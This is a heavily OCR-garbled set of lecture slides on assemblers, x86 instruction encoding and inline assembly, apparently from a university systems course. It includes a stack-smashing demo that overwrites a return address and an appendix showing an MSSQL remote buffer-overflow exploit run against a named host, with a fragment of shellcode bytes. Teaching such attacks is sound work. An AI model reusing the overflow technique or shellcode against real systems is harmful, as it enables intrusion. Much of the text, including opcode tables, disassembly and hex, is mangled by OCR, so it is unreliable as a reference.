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Objectives

Understand the role of assembler
Find out the structure of assembler

Perceive how a HW designer makes a spec. and how a SW
designer makes a program based on the spec.

Know how to use assembly

assembly

In a high-level language (inline

Refer to Chapter 3 in the CSAPP and Intel SW Developer

Manual -

Representation of
Programs
[d 3.1 A Historical
Perspective
I:l 3.2 Program
Encodings
3.3 Data Formats

3.4 Accessing
Information

3.5 Arithmetic and
Logical Operations
3.6 Control

3.7 Procedures

3.8 Array Allocation
and Access

3.9 Heterogeneous
Data SYI[IC{L)IEQ
3.10 Putting It

2 83 3= 3 @3

Together:
— Understanding
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varinble accun, since the campiler his mot yet determined where in memory this
variable will b store
I we use the ¢’ command-line option, ace will both compile and assemble

the code:
unkx» goe 01 -o cods, ¢

This will generate an object-cods file codo. o that is in binary format and hence
cannot be viewed directly. Embedded within the 800 bytes of the file code. o is
17-byte sequence having hexadecimal representation

BS 53 &5 5 45 Ov 03 45 08 01 05 00 00 00 00 Bd ¢3

This is the object-code comesponding to the assembly instructions listed above: A
Key lessen 1o learm from this s that the program actually e xeeuted by the machine
i simply i sequence of bylex eneoding a serics of insteuctions. The maching s
very little information sbout the source code from which these instructions were
generated.
Aside How do | find the byte representation of a program?
bytes, we used (10 be described sh the code for

2um is 17 bytes long. Then we ran the GNU debugging tool cos on fle codz . and gays it the command
(xdb) 2172 oun
telling it to e

You will find o
discussed in Section

bhrevialed *x') 17 hex-formatied (also abbreviated ') byles {abbreviated )
i B muany useful feutures for analyzing machine-Jeved programs s will be
1

i

To inspect the contents of maching-code flles. s cl
disassemblers can be invaluable. These programs e

assembly code from the machine code, With Linux sy:
(for "object dump™) can serve this mole given the ‘=4

ammand-fine flags
snix objdusp -d code.o
The result is (where we have added line numbers on the left and annotations in

italicized text) as follows:

00000000 s>

B Clang)
Yeax,0x0
%atp

CHAPTER 2
INSTRUCTION FORMAT

This chapter describes the instruction format for all Intel 64 and IA-32 processors. The instruction format for
protected mode, real-address mode and virtual-B086 mode is described in Section 2.1. Increments provided for LA-
32e mode and its sub-modes are described in Sectien 2.2.

2.1 INSTRUCTION FORMAT FOR PROTECTED MODE, REAL-ADDRESS MODE,
AND VIRTUAL-8086 MODE

The Intel 64 and IA-32 architectures instruction encodings are subsets of the format shewn in Figure 2-1. Instruc-
tions consist of optional instruction prefixes (in any order), primary opcode bytes (up to three bytes), an
addressing-form specifier (if required) cansisting of the ModR/M byte and sometimes the SIB (Scale-Index-Base)
byte, a displacement (if required), and an immediate data field (if required).

Instruction

rchior Opeode ModR/M | S| ‘ Displacement ‘ Immediate
Prefixes of  1-, 2, or 3-byte 1 byte 1 byte Address Immediate
1 byts each  opcode (if required) (i required) displacement  data of
(opticnal)’ 2 & of 1.2, or 4 1.2, 0rd i
S 5 Eivis o RS By op R
- M
s .

£ o 7 s sz a

;7 &5
IMun ‘Dgfugé’gl RM | |S|:ah;v‘ Index | Base |

1. The REX prefix is optional, but if used must be immediately before the opcade: see Section
202.1, "REX Prefixes” for additanal information_
2 Ei VEX ancoding Information. see Section 2.3, “Intel® Advanced Vector Extensions (Intel®

Y
3. Some rare Instructions can take an 88 immediate or 8B displacement.

Figure 2-1. Intel 64 and IA-32 Architectures Instruction Format

2.1 Instruction Prefixes

Instruction prefixes are divided into four groups, each with a set of allowable prefix codes. For each instruction, it
is only useful to include up to one prefix cade from sach of the four groups (Groups 1, 2, 3, 4). Groups 1 through 4
may be placed in any order relative to each other.

* Group 1
— Lock and repeat prefixes:




Role of Assembler (1/1)

s Assembler
v Translate assembly language into machine language

BE0483e8: =3 ret -

OB0483=8 <f3>:
BE0483e9: 55 push Tebp
80483 eca: 29 25 T Tes=sp ., Tebo
B0483ec: 823 ec 08 =sulb ZE0xE, Tesp
BO4B83ef: =7 04 2494 0& B85 04 OB mowr i S0xB804B506, (TesD)
B0483f6: =8 £5 f£f= ££f ££ call B0482Ff0 <~put=sE@plt>
B0483f : e =8B E£f ££ ££ call 804838 <f2>
BO48400 = =7 04 2494 10 85 04 OB mowr i S0x8048510, (Te=sp)
| 8048407 : =8 =4 fe= £f ££ call 804820 <~put=sE@plt>
B04E840c = =9 icawe
20494840d: =3 et
|
losoassce <EEEH>: ‘\\ //r ‘\\
| B048418 : 55 pus=sh Tebp
80484319 : 829 e5 TR Tesp.,. Sebo
| Eo4as4ib: 51 cush Teox | |
8204841 c: 83 o 04 =ul Z0x4, Te=p
BO4841F = e =5 £Tf £f £+f call BO0483=9 <f3> |
20498424 ; 23 o4 0435 add S0x4g, Tesp
| 8048427 So jalla) ol Teocx
B04849428 : s5da jols) sl Febp
204984290 ; 2d &1 f£c lea —D0xg (FTecxK) » FTeso
| BD4E84942c: \\‘23 4// \\jet 4//
DBD48430 <« JIibhc cocsu Tind>: !
BO4a48430 = 55 push Tebp
820484371 : 29 25 T Tesp ., Sebo
| 28048433 : 54 jala) n) Tebpo -
8048434 : =3 et |
8048435 : 84 T4 2&a 00 iea Ox0 (Te=si iz, 1)  Tesi | =
8048430 : 8d b 27 00 OO0 OO0 OO iea Ox0 (Fedi, FTei=, 1) ,T=di |

.

| i80,0-—1 S5%

% Understanding a binary is indispensable for detecting virus, plagiarism and SW refactirini

I —s

3 —



Functionalities of Assembler 32-bit CPU (1/5)

g Machine Code Gmupl Lock and repeat prefixe:
: Gmupl Segment override pleﬂ:ua Branch hints
|A-32 machine code format

.-

........................................................................................................................ G[Dllp"l Add[e:h:,_ilze Dve[nde P].Eﬂl
G i . T | ——
Prefises Oprode Modr/M SIB Displacement Immediate
et CietsiE i P =T T
prefixes of opcode (frequired) (ifrequired)  displacement  data of *  The scale field SPECﬂ'—]E‘:‘ the scale factor. :
1byte each of 1,2 0r4 1,2, 0rd . . . _ _
(optional) / \ bytes ornone bytes or none % The mdex field specifies the register number of the index register. |
TR ¥ The base field specifies the register number of the base register
Mod Dgf[?ée | scie | ndex T Base |
Mod R/MorlI/B register
Figure 2:4 Intel 64 and |A-32 Architectures Instruction Format mem

(from Inte{ Manual Volume 2) mem.+dis(8) 000 | EAX [EAX]
mem.+dis(32)|| 101 | ECX [ECX]
reg. 010 | EDX [EDX]
01t | EBX [EBX]
0| ESP [
1 | EBP disp32®
10 | ESI [ESI]

, g n , i1 | EDI  [EDI]
" The o/ field can specify a register as an operand or can be combined with the mod field to
1 encode an addressing mode. S

4 .......................... ;

* The mod field combines with the r'm field to form 32 possible values: eight registers and
- M addressing modes. - Scale

¥ The reg/opcode field specifies elther a register number or three more bits of opcode nfor-
- mation. The purpose of the reg/opcode field is specified in the primary opeode.




Functionalities of Assembler: 32-bit CPU (2/5)

s Opcode

v Machine format example of MOV opcode

88 Ir
89 fr
89 Ir
8A fr
8B Ir
8B Ir
8C Ir
BE Ir
Al

A

A1

A2

A3

A3
BO+ b
B+ nw
B8+ ndf
C6 1o
C7 1o
C7 10

Opcode

Instruction

MOV rmé&.r8

MOV rmi18ri6g
MON im32,r32
MOV r8 rim8&

MON ri6.rrmi6
MOV r32,rm3z2
MOV rdm 186,58 reg**
MOV Sreg, r/mi16**
MOV AL, morfs8*
MOV AX moffsiE
MO EAX moffs32*
MON morffsg* AL
MOW morffs168% AX
MOV morffs32% EAX
MOV r8 imme
MOV ri8 immie
MOV r32.imm32
MOV im&, imma
MON 18 immi1e
MOV rm3Z2imm3Z2

Description

Move r& to rAim&

Move rigto rimie

Move r32 to rim32

Move rimé to r8

Move rmié&éto rig

Move rm32 1o r32

Move segment register to mie
Move rm 16 1o segment register
Move byte at (seg:offsel) to AL
Move word at (segroffsel) to AX
Move doubleword at (seg:offsef) to EAXK
Move AL o (seg.offsel)

Move AX to (sag-offsal)

Move EAX to (sag:offsel)

Move Immég to rg

Move immié& to rié

Move imm32 to 32

Move imm& to r’imé

Move immié to Fmie

Move imm322 to ¥Fm32

MOV—Move

(from Intel Manual, Volume 2, 4.3 Instructions: move)

5




Functionalities of Assembler: 32-bit CPU (3/5)

s [ranslation example

= choijm's X desktop (embedded. wowdns.com:2)

o LCII01)
... 5kipping

:IIIBIIHBEM dmaine:

8048214
B04825:;
B0482fa:
B0482ff:
g045304:
a043309:
g04830e:

Mod

mem.
mem.+dis(8)

mem.+dis(3

QU0 o0,

a04832f:
BO48332:
B0458336:
B048338:
B048333:
BO45833a:
a04833b:

idembedded~/syspro/exam: asm/03 Smathing o

emi

/Dﬁ%ehuh///

55 -
20 941 08

opcode mem. operand:

Little Endian

|

Immediate (1B vs 4B: see

J

mov  0xB043 = below
ad 24 54 04 08 = ;Uwnl43424
bERTOTTT 00 || mov $0%3, %keay )
I:In [ I M T B T B T e i e = OpCOde + regISter
[N o W L RN L RN | Ty [ ULE e el
kf 05 00 00 00 moy  F0x5,%edi
89 g oy Taeryw Wadw
ik oy Opcode Instruction Description
Mo aafr MOV m&.r8 Move r& to r'm#&
—R/IMorI/Bnumher . |, MOV 71616 Move 11610 rim16
8a ir MOV m32r32 Mowve r32 to rm32
000 | EAX [EAX] :
o 8A fr MOV r8, rima Move rmé to rg
001 ECX [ECX] BB ir MOV rig,r/m186 Move rmi6to r1e
8B /r MO r32,rrm32 Move Mm32 1o r32
I:1|:| EDI [ E D-":.::-] BC fr MOV rimi1 6 .Sreg*™ Move segment register to rimi1&
|:|1 1 EE""_{ [ E E :l:'_] 8E ir MOV Sreg,r/mi & Move im 16 to segment register
1 Al MOV AL, moffsg* Move byte at (segroffsef) to AL
1 I:IEI EE FI [““E[“] A MON AX, moffisT8™ Move word at (sag:offsaf) to AX
H = A1 MO EAX moffs32" Mowve doubleword at (seg:offsel to EAX
1 u-l EE FI d |-E'I-F:| 32 a2 MO moffsg8® AL Move AL 10 (seg-offsaf
110 | ESI [ESI] A3 MOV moffs16° AX Move AX to (seg:offsat)
A3 MOV marfe32* EAX Move EAX to (segroffser)
1 11 EE:H [EDI] e BO+ b MOV rg imme Mowve immé& to r&
BB+ MOY r18 immie Move immi1E to e
ot ret Ba+ mf MOV r32.immag Move imma2 to 132
E||:| I-“:'p C6 /0 MOV rm&imme Mowve immé& to mg
C7 fo MOV pmi&immie Mowve imm18 to ¥mi8
EII:I r“:lp Cr o MOY Fm32iIimm32 Move imm32 to Fma2




Functionalities of Assembler: 32-bit CPU (4/5)

s [ranslation example

= choijm's X desktop (embedded. wowdns.com:2)

b CIOIJ

@ embedded:~

SYEPRojEXEMm A

03 mathing

.skipping
8Tt
Scale

BD4BHDE:
B048310:
Bl45312:
B048314:
B048317:
A04831b:
a048322:

Mod
mem.
mem.+dis(8)
mem.+dis(32)

re L]
oliEdad.

01

a04833b:

S

he 03 00 00 00
ba 04 00 00 00 |
bf DW-
e

89 Da
fh

froy
oy

Of nush  %ebp
al 20 94 04 03 oy OxB049420,%eax
ad 24 34 04 03 oy #eax,0xa04942

$045, f%ech
%e

=W
gg// : Ban ), BBCH

_ EEE

- BA

=

Bb oY 0
Oh eS8 Mo DuBi%ean, %eby,4) ,%ecy
El:l I@cl EIEI ?EI SE IIIIII a0 oY 0«56 7%y, Behy g, 500y

%ECH DHBD#EHED

ModR/M:

11001010

ModR/M:|01001000

displacement

The -J[-] nomendature means a I folows the ModR/M byte,
10011000 ]

SIB:

B [II I!B I moy

000 | EAX [EAX]
1 | ECX [ECX]
010 | EDX  [EDX]
011 | EBX [EBX]
w00 | ESP  [-1--1"
101 | EBP disp32
110 | ES1  [ESI]

i1 | EDI [EDI]

Opcode Instr‘uctlon

a8 fr MOV M8, r8

a9 fr MOV rmierie

a9 fr MOV rm32r32

aA fr MOV r8 rm&

aB fr MOV rf&. rmie

aB fr MOV r22,rmaz2

acC ir MON 1 & Sreg*™
8E ir MOW Sreg, rmile**
A0 MO AL, moffsg”
A1 MMOW AX moffsTe™
21 MO EAX moffs22"
A2 MO moffsg™ AL
A3 MO maffs 18% AKX
A2 MOYW moffs22% EAX
B0+ b MOV r8, imme

Ba+ mw MOV & imm 18
Ba+ MOV r22,0mm3E2
CE /0 MOV mEdmme
CT o MOV mT e dimmiT &

crio/

MOV m320imm32

Description

Mowve r& to rim&

Move ri&gto rimi &

Mowve r22 to rim32

Mowve rim& to rg

Move rimT&to rig

Mowve rim32 to r32

Mowve segment regisier to mim7 &
Mowve rm T E to segment regisier
Move byte at {(seg-offsef) to AL
Mowve word at (seg-offsef) to AX
Move doubleword at (segroffsef) to EAX
Mowve AL o (seg-offsef)

Mowve AX to ( sag-offsal)

Mowve EAX to (seg-offsefl)

Mowve imm& to r&

Mowve imm 16 to &

Mowve imm32 to 32

Mowve innm& to rima

Mowve imm1& to rmie

Mowve imm32 to rm32




Functionalities of Assembler: 32-bit CPU (5/5)

= [ranslation example (cont’)

[= choijm's ¥ desktop (embedded. wowdns.cops

Opcode Instruction Description
aair MOV rm&.rg Move rg to rim8
MOd Balr MOV rmi1&rié Move riéto rmi1é
. Ba fr MOV nm32r32 Move r32 to rm32
. aa fr MOV r8, rim8 Move rim& to r8
mem.+dis(8) 8B Ir MOV ri6.r/m16 Move wm16ta rié
H 8B fr MOV r32.m32 Move rm32 to r32
mem.+d|S(32 d ac ir MOV 16 .5 eg*™ Move segment regisier to r’m718&
8E /fr MOV Sreg, rfmie*™ Move rim 76 to segment regisier
_ '_ E—— E.E'.:'":. [ E.I'!'l.::':-.] A MOV AL moffs8* Move byte at (seg:offsel) to AL
I !JI'I.dD‘ZI-F'I:- E_u-l E':: :::' [E E}::_] A1 MOV AX, moffsie” Move word at (seg:offsef) to AX
B A MOV EAX, moffs32" Move doubleword at (seg-offsef) to EAX
Scale i: 010 EDX [EDX] A2 MOV moffsg® AL Move AL to (segofisel)
[ A3 MO morfs 168% AX Move AX to (seg:offsel)
. |:|1 1 EEI [ E_-.E -':.:-']1 A3 MO moffs32Y EAX Move EAX to (seg:offsel)
oo | ESP  [--1[--] B0+ b MOV 18, imma Move immé to r8
H = B8+ MO ri&g immie Move immi& to &
1:]1 EE!'FI dISDSE B8+ nd MOV r32,0imm3z2 Move imm32 to 32
110 ES] [ESI] C6 /0 MOV pme.imme Move imma to nma
; Cv o MOV rmi&immie Move imm 18 to Fmié
Huqa:ﬂ Ij.': 1 1 1 EE} I [ E D I ] Crio MOV rm32imm32 Move imm32 to Fm32
A04831h: Bb Bc 95 78 56 00 00 o 0x5678(%eax,%ebx,4) %00y
a048322: 89 0420 34 04 08 mov  %ecx,0x8043420
B04B8328: Ci 05 20 mowl  $0x1234,0x8043420

804832f: 12 00 00 n
B048332: 8 B3 1e froy eke,
B048336: b 07 oy F0u7 %8 a

ggjgggg E; SR L The disp32 nomenclature denotes a 32-bit displacement that follows the ModR/M byte]

B04833a: 30
804833b: 30 }




Structure of Assembler (1/2)

s 4 Main Components

............................

(extfile 3 Imovi| oxa{oeax),
—
Scanner P
\'\‘ : opcode: 8b
{Token Stream ) : mod R/M : 01 001
: disp.: 0x4
Farsing -
- B
: 8b 48 04
(:Eynta:{ Tree :] b
Semantic Ana.
(valid syntax tree )
Code generation
( object code 7

.............................

.............................

.............................




Structure of Assembler (2/2)

m 2 pass assembler

Instruction
Database

1 [

MOV AL, [X+2]

DB 573 |

T b
7 2
@ 8]
= 3
= =
T z
) =~
& u1]
Z =
fet M

Symbol Table

X | 3F3A

< To sum up, designing an assembler consists of 1) making parser, 2) manipulating
DB, 3) managing symbol table, 4) code generating, 5) error handing, 6) optimization

and so on. _
| -
10 .



Functionalities of Assembler: 64-bit CPU (1/4)

s Machine Code with 64-bit extension
v Need to encode new registers (GPRs) and 64-bit addressing
v Need to maintain backward compatibility

General-Purpose Multimedia Extension and Streamang SIMD

Registers (GPRs) Floating-Paint Registers Extension (SSE) Registers
RAX MMO/5TO XMMO
RBX MMI/ST MMM
RCX MM2/5T2 XMM2
RDX MM3/5T3 XMM3
REP MMa/5TE XXMM
RS MMS/STS XMMS5
RDI MME/STE XMME
RSP MM7/ST7 XMMT
Ra E3 U XMME
R KMMD
R10 Flags XMMOI0
R11 Register XMM11
R12 [ ] eFiacs XMM12
R13 it * XMMTE
R14 Instruction Painter XMM 14
RIS | | | RIP XMM 15

£

b5 -1 L

I:l Lisgacy sBE Regroiers, SupDOmed o 28 e
I: Reprand Exferriani, supporied m B4-84 Mode LM g

11



Functionalities of Assembler: 64-bit CPU (2/4)

s Machine Code with 64-bit extension

v Code format

» REX prefix
Specify GPRs (rax, rbx, ..., rdi, r8, r9, ... r15) and SSE registers
Specify 64-bit operand size

Table 2-4, REX Prefix Fields [BITS: 0100WRXB]

Field Name Bit Position Dafinition
) 74 0100 ModRM Byte SiB Byte
W 3 (1= Operand size determined by (SO REX PREFIX Opcods mod | req | ©m PR [r—
01 NVRXE =11 T 100 e bbb
1= 64 Bit Operand Size H HH
|
R 2 Extension of the ModR/M reg field 1 ﬂ [ {
X 1 Extension of the SIB index field Rirr Xxxx  Bbbb
8 0 Extension of the ModR/M r/m field, SIB base field, or Opcode reg field N o

Legacy REX ; :
Prefixes Prefix Opcode ModR/M SIB Displacement Immediate
Grp 1.Grp  (optional)  1~.2-o0r 1 byte 1 byte Address Immediate data
2. Grp 3. 3-byte (if required)  (if required)  displacementof of 1.2.0r4
Grp 4 opcode 1,2, or4 bytes  bytes or none
(optional)
Figure 2-3. Prefix Ordering in 64-bit Mode

Figure 2-6. Memory Addressing With a 5IB Byte

(from Intel Manual, Volume 2, 2.2 IA-32e Mode)

12 ~



Functionalities of Assembler: 64-bit CPU

(3/4)

s Machine Code including 64-bit extension
v Machine format example of MOV opcode

» 64bit addressing = REX prefix

MOV—Mowe

Dpcode Instruction Ops &54-Bit Compatl Descriptiomn
En Mode Leg Mode

a8 rr MOV me.rs MR Walid Valid Mowe 8 to rime.

REX + 88 /r MOV mE  rg8 MR Walid MN.E. Mowe ri8to ima.

89 fr MOV mTErls MR Walid Valid Mowve rT6 to TG,

B89 fr MOV M2 32 MR Walid Walid Maowve r32 ta mas

REX.\W + 89 /r MOV rimGdrS MR Walid MN_E. Mowe riod to G,

84 /fr MOV r8rimse R Walid Walid Mowe S o rfE8

REX + B8A Jr MOV r8™ " rfma R Walid MNLE. Mowe rfmE o e

88 fr MOV rTE A m e R Walid Walid Mowve rmis o ri6.

8B fr MOV rFS A m3IE R Walid WValid Mowve rm3I= o rI2

REX.\wW +~ 8B /r MOV nS-d s R Walid MN_E. Mowe e o g,

a8 /fr MOV i T 6. Sreg™™ MR Walid Walid Mowe segment register to mT6.

8C /r MOV rT & 32sm T 6 Sreg™™ MR Walid Walid Mowe zero extended 16-bit segment register
to rT&SA A3ISmT e

REX W + BC /r MOW r&d m 1 6. Sreg™™ MR Walid Walid Mowe rero extended 1656-bit segment register
1o S m T 6.

BE /fr MOV Sreg.rdim 1 e=™ =M Walid Walid Mowe 16 1o segment register.

REX \w + BE /r MOV SreqrfimmEg=~ "M Walid Walid Maowe lower 16 bits of ri/fm&e4d to segment
register.

A0 MOV AL moffsa™ [ ] Walid Walid Mowe byte at (segrofifser) o AL

REX W + AQ MOV AL mofifss™ [ =B ] Walid MN_E. Mowe bywite at (offsed) 1o AL

A1 MOV AR omaffs T&* [ =] Walid Walid Mowe word at (segrofffset) to AL

ol | MO EA, maofifs3=" D wWalid Walid Mowe doubleword at (segroffset) to EAX

REX I + A1 MOV RAX, moffs&-a* D Walid MNLE. Mowve quadword at (offser) o RAX.

A MOV rmoffsa8.al TD Walid Walid Mowe AL to (segoffset).

REX .\ + AZ MOV maffs8 AL D Walid M.E. Mowe AL 1o (offser).

A3 MOV rmaffs T TD Walid Walid Mowe AX to (segofifser).

A3 MOV maoffs3="EAX D Walid Walid Mowe EAX To (segoffset)

REX W + A3 MOW mofifsG-ar RAX TD Walid MN_E. Mowe RAX to (ofifset).

BO+ rb ib MOV rg8. Imma (8] Walid Walid Mowe mm8 to r8.

REX + BO+ rb ib MO 8 | immE& (&1} Walid MN_E. Mowe mmE to r8.

BB+ ri fuw MOV rT6E, imrm T E& (o] Walid Valid Mowe immTE to rTa.

BB+ rd id MOV r32 imm3s (&1} Walid Walid Mowe dmm3Is to r32

REX.\W + BB+ rd fo MOV r&<d, imumG-d (o] Walid MN_E. Mowe dmmSd to NS4,

CE SO ib MOV mE, imma L} Walid Walid Mowe mmE to rAms

REX + C& /0O ib MOV rAmE™ =, dmma ™~ Walid MNLE. Mowe imrmE 1o rAma.

CF SO fewe MOV m TG, immTE L} Walid Walkid Mowe dmm T & to im 7o,

CF SO g MOV m32, imm3E L]} Walid WValid Mowe dmmIs to rrdmI s

REX. W + C7F SO id MOV mGd. imm3s [ ] Walid M.E. Mowe mm3s sign extended to S4-Lits 1o

II om-Intel Manua!I /olume 2, 4.8 InstrudtBit: move)

- SR



Functionalities of Assembler: 64-bit CPU (4/4)

s [ranslation example

REX Prefix: 0100 1000

= choijm’s X desktop (embedded. wowdns.com:2) TH"_‘.lb_(l
hd.CI0im@enbeied;: sy apro/exam asm/ 08 Lmechine. - 0 A
- skipping :
DBD4BZf4 Main:
| B0482f4: L Bsh—%ebn
B048275: al 20 34 04 08 may  0xB043420, %03y
B0d82fa: a3 24 34 04 08 moy  %eax,0x8043424
B482ff b& 03 00 00 00 mov  $0x3,%eay
B48304: b9 04 00 00 00 moy  $0x4,%ecy
B04a303: bf 05 00 00 00 myy  $0%5,%edi
B04830e: 89 ca moy  %ecw, kedy
A048310; 99 Da oy %ecw, (eds) L
804831 2: 8k 08 moy  (keaw),kecy
B48314: Bh 48 04 oy Oud(%ean) becy
B048317: Bh 4c 98 08 oy uB(%ean, %eby, 40, %ecy
B04831h: Bh Bc 98 78 56 00 00  mov  0x5678(%eax,%eby.4) Xecy
BO48322: 89 0d 20 94 04 08 may  %ecy,0xa04%4:20
BO48324: ¢ 09209404083 movl  $0x123,048043420
A04832f ; 12 00 00 /
B048332: BG b8 58 1¢ moy  $0x1e68,%ax
BO45336: b0 07 myy 047, %
B048338: cd leave
B048335: 3 rat y//
B04833a: 30 nop
B04833b: 10 nop 3
¥

400536
40053h:
400542:
400544
40054b :
40054d:
400552:
400557:
40055¢:
40055¢
400561 :
400564
400567 :

400582:
400589:
40058d:
400591 :
400593:
101048 <a?
40059a:

14

ef d5 fe ff ff

rn]]q 400410 <putslplt>

al 20 94 04 48 23 01
00 00

ad 24 94 04 48 23 01
00 00

b8 03 00 00 00

b9 04 00 00 00

bf 05 00 00 00

89 ca

67 89 0a

48 9 0a

89 0a

67 8b 4c ‘
67 8b 8c 98
00

89 0c 25 20 94 04 08
c/ 04 25 20 94 04 48
34 12 00 00
66 b8 66 le

00 00 00

moy

noy

Moy
nov
moy
moy
moy
moy
moy
moy
moy
moy
moy

0x12348049420, %eax // movabs
Teax,0x12348049424 // movabs

$0x3, %eax

$0x4, Tecx

$0x5, Tedi

%ecx, bedx

%ecx, (Fedx)

#rex, (Brdx)

w9, (3r10)
(%eax) , Jecx

0x4 (%eax) , %ecx
0x8(%eax, hebx,4) , hecx
0x5678(%eax, %ebx,4) , becx

%ecx, 0x8049420
$0x1234,0x48049420




inline Assembly (1/6)

= Inline Assembly
v Assembly code embedded in a high level language like C

v structure

__asm__ (assembly statement : output : input : modified register)

Each parts are separated by :
output, input, modified register are optional

assembly statement: using “ ”, add a prefix % to each register
output: “=g”’(variable name)
input: “g”’(variable name)

modified register (clobber): notify to compiler which registers are
modified by inline assembly (to prevent the side effect of inline assembly)

Output and input are accessed using the notation of %0, %1, %2, ...



inline Assembly (2/6)

= Inline Assembly practice 1: add

ySpro_examples/chapd - i lﬂlﬂlﬂ

. input/output passing

‘a eax

ebx

ecx

edx

esi

edi

general register
memory :
general register and:
memory 5
edx: eax (64 bits)

FP register
immediate

first parameter

da, b, © =
assembly statements ]

...........................................................




iInline Assembly (3/6)

= Inline Assembly practice 2: register input

BIS_examples/cha P2 L in =2

printT {("c = 2dvyn", o)

Tichx, TEe=axiyn"
")
Tofa), "B™ (D)

| -

printt{"c = $dvmn"™, o)

=

—




iInline Assembly (4/6)

g inIine Assembly practice 3: clobber

sprosesam_inlines/3_clobber
f* 1n11nE aﬁﬁemhly ﬂﬂﬁﬂ cluhher % f
Fx= 112 152 F|=F 3* f
#include <stdio.h>
maing)}
{

R, R R R ) - i i i
int a C To notify that a register is used

J

a = 9x40000002; | flat d
h = 4 internally in inline assembly
B asm_ ¢

“"mull whebxin

"moul BEeax, SN

Zxed=, 21wn"

; * (cy, “=g°

Y;

[
§F
-7
=
3
w
L |

o
L |

y)
L |

=1
b
an

printf{"a = %x, b = %d, c = %d, d

__asm___ {
“divl waeb=in"
"moul ZEeax, Zawnt
“"mouvl weedx, B1Wn"
=g {c), ""=g" {(d)
“a™ fa), b (4), “d (@)

)i
printf{("a = %%, b = %d, c = %x, d = Bd¥n"", a, b, c, d);
by
s ‘‘clobber1.c™ 308L, 5160C 11,.2-5%

4

—

op

H




iInline Assembly (5/6)

| }

= Inline Assembly practice 4: stack again

_ 22 choijm@embedded: ~/syspro18/chap9 = O X

> stack destroy.c: 29 3T x £ 4 2, 118 259 , choijm@dku.edu */ ~ |
l#include <stdie.h>
[
volid £1() {

i =

I prinEE{" In Ennel N\n®)
J}

void £2 () {
‘& R
i int J; *pLi:
printE("f2 lewcsl:s &85, \e8p\ni™, &3, &pbr);
prioEf(™1ln fane? \o™) s

ptr = &7
*(ptrtl2) = T£l;

\*/ -
/] priptE(™In TancZ \a"™) s
~_asm___ (
"mowvl %0, 4 (%%ebp) \n"
gt ey
\J )}

|}

volid £3() {
printf("Before invoke 2 () \n");
£20) ;
printE("After invoke £2()\n"):
3

_main() {
£3();

"slLack destroy inline.¢™ 351, 499C 19 1;:1 Top Vv




iInline Assembly (6/6)

= inline Assembly practice 5: define

choijm@choijm-VirtualBox: ~/2015_syspro/chap9/inline
E]’.nc]_ude {stdio.h>

#define rep_movsl(src., dest, numwords) \

__asm__ __volatile__ ( \ -
“cld\n 7
"rep\n" \
“movsh" A\

\
"S" (src). D" (dest) “L(numwords) \ '
) -4
|
main{) ] i
{ Prevent a compiler from
.| [1 = "hello"- moving these codes to other
ey o = REXD 5 place for the optimization
char blL16]1 * purpose.
rep_movsl(a. b, (a)):
printf("dest = Zs\n". b):
¥ "

20 o



Summary

s Apprehend the role of assembler (“as” in Linux)
v Assembly language =» Machine language

s Understand the structure of assembler

v Token analysis, Parsing, Syntax analysis, Semantic Analysis,
Symbol table, Code generation, Optimization

v 2 pass assembler
s Make a program with inline assembly

% Homework 8: Make an assembler
1.1 Requirements
- build an assembler that can translate assembly codes into the
IA machine codes shown in slides 6~8.
- manipulate DB and do error handling
- shows student’s ID and date (using whoami and date)
1.2 Write a report
- 1) Introduction, 2) Source code, 3) Snapshots, 4) Discussion
1.3 How to submit? Send report to mgchoi@dankook.ac.kr
1.4 Deadline: a week later (same time)

21



Quiz for this Lecture

= QUiZ

1. Discuss 4 main components of assembler.

2. The below left figure is the language hierarchy that we have seen in
the LN 1. Now, explain what is “movl”, “0x8049388” and “a1”.
Explain the little endian in this figure.

3. Explain how x86-64 maintain the backward compatibility.

4. In LN 9, we make a program that can destroy stack using inline
assembly. Discuss the differences between this program and the
program we have learnt in LN 4.

Compilation System (1/5) Stack Details (6/6)
= Concept: Language Hierarchy = Stack example 2
/* stack_destr roy.c: : MEH pox BM 2, 98 192, choijm@dku.edu */
#include <stdio.h>
High-level Language @ wvoid f1() { — ;
inti; | ¢ S AE/CtagS, etz
:]r:'i'l"lt'ﬂ"ln funci\n"); P s i
} -l.:ih;. EARANT, &3, EpIT
|
movl 0xB8049388, Yoeax il o
Assem bly Language addl O0xB8049384, Voeax printf{"f2 local: \t%p, \t%p\n", &j, &ptr);
movl %heax, Ox804946C printf("In func2 \n");
e pt &j;
*(ptr+2) = f1;
\ 4 )
B aam id f3() {
Machine Language 00a1 8893 0408 e ctoreiewcie
N 2();
{Blnar}' co'de} mﬂﬂg mﬁgf 3;‘33 printf(" After invoke f2{)\n");
}
main() {
= ey —L
1z 3

22



Appendix: Exploit code (1/2)

s EXxploit code

v A code that attacks the vulnerabilities of program
= System down, obtain a shell with root privilege

E =101
QD! [CoM3 =
AHIA(R): |SOL Server =]

AHIA M2 JE(H)

2ALEAE
A0

i Overflow Remote Exploitiriindin™);
nced Windows ShellcodeW drin™);
ield, david@ngssoftware. comfrin™);
x a bug.thriin™);

te http://www.cnhonker.comtriindin®);

Et> <NCPort> <SQLSP> JWrdnbin®™, arqu[e]):

cdriin®) ;

grtnt) 5

C:bhprojectitry2>

ME () [COM3 =l
MHI 2R |50L Server Bl
MHIZ M2 DEH),., [ b~ =1 11

] A==

nced Windows Shellcode®™Srwn™)
field, davidEmgssoftware.comfrin);
k a bug.wr#n");

- ?h http:/ fwwe.cnhonker .consr@ni¥n ) ;

W 2 HH AZE A ML TS AEHA)
[EAE - WHCOMI - MESCLEerver

C:Wprojecttry2try2 127 8.8.1 embedded.dankook.ac_-kr 1433 SP2
MSSQL SP 1 or 2. GetProcAddress BBx42aelBiC

Packet sent?

If you don’t have a shell it didn't work.

C:tprojectittru2 >




Appendix: Exploit code (2/2)

s SQL Exploit code

v Copy a request into stack in a SQL internal function (vulnerable point)

v Make a larger request might destroy stack (buffer overflow)

v Modify the return address of stack so that it executes an exploit code

[ push %ebp ] [ mov %esp, Yoebp ] [ push immediate

]

cha

"leOWxAEWx42&xEBWx03W 5BWXEBWX05WXE8WxXF8"
"WxFFAVXFFWXFFAX X XFFWX F6"

"WxAEWXFEWXFFWXFFWx03WxDEWxXx90Wx90Wx90Wx
"Wx90Wx33WxCoOWxB1Wx44WxB2Wx58Wx30Wx13Wx83"
"WxEBWX01WXxE2WxF9Wx43Wx53Wx8BWx75WxFCWxFF"
"Wx16Wx50Wx33WxCOWxB0OWx0CWx03WxD8Wx53WxFF"
"Wx16Wx50%Wx33WxCoOWxB0OWx10Wx03WxD8Wx53Wx8B"

"WxFFWxD0Wx90Wx2FWx2BWx6AWXx07Wx6BWx6AWX76"

